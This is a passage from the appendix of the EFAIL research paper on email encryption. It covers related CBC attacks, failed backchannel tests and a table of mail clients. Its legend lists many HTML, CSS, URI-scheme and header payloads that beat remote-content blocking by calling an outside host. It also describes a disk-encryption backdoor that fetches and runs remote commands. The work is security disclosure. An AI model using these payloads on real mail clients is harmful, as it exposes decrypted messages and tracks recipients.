Green criticized the old cryptographic algorithms usedin PGP wrote that “Poking through a modern OpenPGPimplementation is like visiting a museum of 1990scrypto” [8]. He did not point out any concrete attacks.

B.2 Related attacks

It is well-known that the CBC mode of operation is mal-leable and vulnerable to adaptive chosen-ciphertext at-tacks [14–16]. Practical attacks have been shown againstIPSec [17, 18], SSH [19, 20], TLS [21–24], or XML En-cryption [25]. In all these attacks the attacker exploitsdifferences in server responses based on the validity ofthe decrypted messages. He uses the server as an ora-cle and with each oracle response he learns some plain-text information. This is not possible in typical PGP andS/MIME scenarios, since there is no server that can berepeatedly used as an oracle and queried for message va-lidity.

In 2005, Fruwirth, the author of the Linux UnifiedKey Setup (luks), wrote a compendium of attacks andinsecure properties of CBC [47] in the hard disk encryp-tion context. He defines a confidentiality issue in casetwo ciphertext blocks in a CBC ciphertext are identical.Furthermore, he describes a watermarking attack and adata modification leak, in which the attacker can moni-tor over time which parts of the file system are accessed,thus learning usage patterns of the user. He also definestwo properties of CBC, that we used in the efail attacks:malleability and movable cipher blocks. It briefly men-tions the possibility that an attacker with local write ac-cess to the encrypted hard drive could alter /etc/passwdor /etc/shadow.

Later in 2013, Lell presented a practical exploit forCBC malleability against a Ubuntu 12.04 installation thatis encrypted using luks [48] with CBC. The attack ex-ploits the fact that the plaintext of a fresh Ubuntu instal-lation is known and that the attacker thus knows betweenhundreds of megabytes up to several gigabytes of plain-text, depending on the installation. Specifically, he ob-serves that Ubuntu’s standard shell dash is written to discearly during the installation, which makes the location ofthe binary predictable. The author then exchanges dash’smachine code with a backdoor. It downloads commandsfrom a web server, executes them and calls the bash shellto make the attack stealthy as the system boots up nor-mally. His exploit used the jmp assembler instruction tojump over the adjacent random block into the next blockcontaining the backdoor’s machine code. Our cryptogadget attack extends this attack as it enables the attackerto create malicious plaintexts of arbitrary lengths whileonly knowing up to one plaintext block, i.e. 16 bytes forAES.12

An attack very similar to Lell’s was described in 2016in the Owncloud server side encryption module [49].

In 2017 Cure53 analyzed the security of Enig-

12Depending on the scenario, knowing less than one full plaintextblock can also be sufficient for the attacker. It simply results in a largerblock of random data.

18

mail [50]. The report shows that surreptitious forwardingis still possible or that it is possible to spoof OpenPGPsignatures. No plaintext exfiltration attacks have beenconsidered.

C Unsuccessful backchannel tests

We pursued further tests which were not successful butare documented here for the sake of completeness.

Spam datasets. We checked whether spammers may al-ready be aware of bypasses for remote content block-ing in email clients and analyzed two large spamdatasets13,14 containing over ten millions of spam emailsaltogether ranging from 1997 to 2018. However, wefound that spammers do not use or are not aware of by-passes for content blocking as they only included straightforward external images, a well-known technique totrace if an email is actually read.

Generic email headers. There are various standard-ized and proprietary email headers15 which allow to in-clude URIs. Furthermore, we used various public emaildatasets to compile a list of 9,400 mail headers whichcontain URLs. We tested those headers against all emailclients, but none triggered with the exception of externalattachments mentioned in Section 6.4

Anti-spoofing headers. We also included email headersto fight spam (SPF, DKIM), however the triggered DNSrequests at the MTA level, not when mail was opened inthe MUA. It is however noteworthy that two email clientsperformed a DNS lookups for the hostname part of thesender email address at the time the mail was opened.While definitely is a privacy issue, we cannot use it tofor exfiltration because the DNS request was no longertriggered for From: header within the encrypted part ofthe message.

Message disposition notification. We identified sevenstandardized and proprietary email headers to request aconfirmation mail attesting that the message has beenread. Two mail clients automatically send confirmationemails which has a privacy impact but cannot be usedas an exfiltration channel because the mail was not trig-gered if the message disposition notification header waswithin the encrypted part. All other clients do not sup-port the feature or explicitly ask the user before sendinga message disposition notifications.

File preview. Some email clients try to generate a pre-view for attached files. We prepared specially-craftedPDF, SVG, vCard and vCalendar files which contain hy-perlinks, trigger a connection or execute JavaScript when

13http://untroubled.org/spam/14http://artinvoice.hu/spams/15https://www.iana.org/assignments/message-

headers/message-headers.xhtml

opened. However in the previewed version none of theseactions was taken for any of the tested clients.

D Backchannel analysis

This section presents the table summarizing our resultson backchannels im email clients.

19

Support BackchannelsS/MIME PGP Email HTML/CSS/JS PKI

Windows Outlook 2007 (12.0.4518.1014) native GPG4win H15 P1 I1 I2 I3Outlook 2010 (14.0.7190.5000) native GPG4win P1 I2 I3Outlook 2013 (15.0.4989.1000) native GPG4win I2 I3Outlook 2016 (16.0.4266.1001) native GPG4Win I2 I3Win. 8 Mail (17.4.9600.16384) n/a n/a + H1 H6Win. 10 Mail (17.8730.21865.0) native n/a +Win. Live Mail (16.4.3528.0331) native n/a H17 I1 I2The Bat! (8.2.0) native GnuPG E1Postbox (5.0.20) native Enigmail P3 I2eM Client (7.1.31849.0) native native E3 J3 I1 I2IBM Notes (9.0.1) native n/a H13 H16 P2 J1Foxmail (7.2.8) n/a n/a *Pegasus Mail (4.72.572) n/a PMPGP E1 H14 P2 P4

Linux Thunderbird (52.5.2) native Enigmail H2 I2Evolution (3.22.6) native GnuPG H3Trojita (0.7-278) native GnuPG H3 I3KMail (5.2.3) native GnuPG I3Claws (3.14.1) plugin GPG plugin I3Mutt (1.7.2) native GnuPG I3

macOS Apple Mail (11.2) native GPGTools E2 + I1 I2 I3MailMate (1.10) native GPGTools H3 I1 I2 I3Airmail (3.5.3) plugin GPG-PGP + H10 H11 H14

iOS Mail App (11.2.2) native n/a + I1Canary Mail (1.17) n/a native E4 +Outlook (2.56.0) n/a n/a *

Android K-9 Mail (5.403) n/a OpenKeychainR2Mail2 (2.30) native native H10 J2MailDroid (4.81) Flipdog Flipdog H4 H5 H14 H15 J2Nine (4.1.3a) native n/a K2 H4 H5 H14 H15 J1

Webmail GMX, Web.de, ... n/a Mailvelope + K1 C7 C8 C9Mailbox.org n/a Mailvelope K1 C9Hushmail n/a nativeProtonMail n/a OpenPGP.js H3 H4 H12 H14 H15 C1Mailfence native OpenPGP.js H8 C5 C12 C15 I3GMail native n/a +Outlook.com native n/a +iCloud Mail n/a n/a +Yahoo Mail n/a n/a C5 C11FastMail n/a n/a +Mail.Ru n/a n/a *Zoho Mail n/a n/a H9 C12 P1

Webapp Roundcube (1.3.4) native Enigma H7 C3AfterLogic (7.7.9) plugin OpenPGP.js H4 C2 C10 C13 C14 C16Rainloop (1.11.3) n/a OpenPGP.js C4 C13 C14Mailpile (1.0.0rc2) n/a GnuPG #

Groupware Exchange OWA (15.1.1034.32) native n/a I1 I2GroupWise (14.2.2) native n/a H9 C2 C5 C11 C12Horde (5.2.22/IMP 6.2.21) native GnuPG I4

Table 5: Backchannels for various email clients

20

Legend+ Remote images are loaded by default but this can be deactivated* Remote images are loaded by default and it cannot be deactivated# Remote images are loaded through prefetching in modern browsers

PKI requestsI1 Request for intermediate S/MIME certificate are performed to an attacker-controlled URII2 OCSP requests to a fixed CA URL are performed for valid/trusted S/MIME signed emailsI3 CRL requests to a fixed CA URL are performed for valid/trusted S/MIME signed emailsI4 HKP requests to keyserver are performed to retrieve public keys for PGP signed emails

Encrypted emailsK1 Remote images are loaded automatically if the mail is PGP/MIME encryptedK2 Remote images are loaded automatically if the mail is S/MIME encrypted

HTML attributes (bypasses for remote content blocking)H1 <html manifest="http://efail.de"></html>H2 <link href="http://efail.de" rel="preconnect">H3 <meta http-equiv="x-dns-prefetch-control" content="on"><a href="http://efail.de"></a>H4 <meta http-equiv="refresh" content="1; url=http://efail.de">H5 <base href="http://efail.de"><iframe src="x">H6 <img lowsrc="http://efail.de">H7 <image src="http://efail.de">H8 <svg><image href="http://efail.de"/></svg>H9 <input type="image" src="http://efail.de"/>H10 <audio src="http://efail.de">H11 <video src="http://efail.de">H12 <video poster="http://efail.de">H13 <script src="http://efail.de">H14 <embed src="http://efail.de"></embed>H15 <object data="http://efail.de"></object>H16 <object codebase="http://efail.de"></object>H17 <p style="background-image:url(1)"></p><object><embed src="http://efail.de">

CSS properties (bypasses for remote content blocking)C1 <style>@import url(’http://efail.de’);</style>C2 <style>body {background-image: url(’http://efail.de’);}</style>C3 <style>body {background-image: \75 \72 \6C (’http://efail.de’);}</style>C4 <style>body {shape-outside: url(http://efail.de);}</style>C5 <div style="background-image: url(’http://efail.de’)">C6 <div style="background-image: -moz-image-rect(url(’https://efail.de’),85%,5%,5%,5%);">C7 <style>body {background: #aaa url(’http://efail.de’);}</style>C8 <div style="background: #aaa url(’http://efail.de’)">C9 <style>ul {list-style: url(’http://efail.de’);}</style><ul><li>item</li></ul>C10 <ul style="list-style: url(’http://efail.de’);"></ul>C11 <style>ul {list-style-image: url(’http://efail.de’);}</style><ul><li>item</li></ul>C12 <ul style="list-style-image: url(’http://efail.de’)"></ul>C13 <div style="border-image: url(’http://efail.de’);">C14 <div style="border-image-source: url(’http://efail.de’);">C15 <div style="cursor: url(’http://efail.de’) 5 5, auto;">C16 <svg/><svg><rect cursor="url(http://efail.de),auto"/></svg>

URI schemes (bypasses for remote content blocking)P1 <img src="//efail.de">P2 <img src="file://efail.de/x">P3 <img src="news://efail.de/x">P4 <img src="ftp://efail.de/x">

JavaScript (bypass remote content blocking)J1 <script>...</script>J2 <object data="javascript:..."></object>J2 <svg><style>’<body/onload="..."><?/script>

Email headersE1 X-Confirm-Reading-To: user@efail.deE2 Remote-Attachment-Url: http://efail.deE3 From: user@efail.de (HTTP request for favicon)E4 From: user@efail.de (DNS request to hostname)

21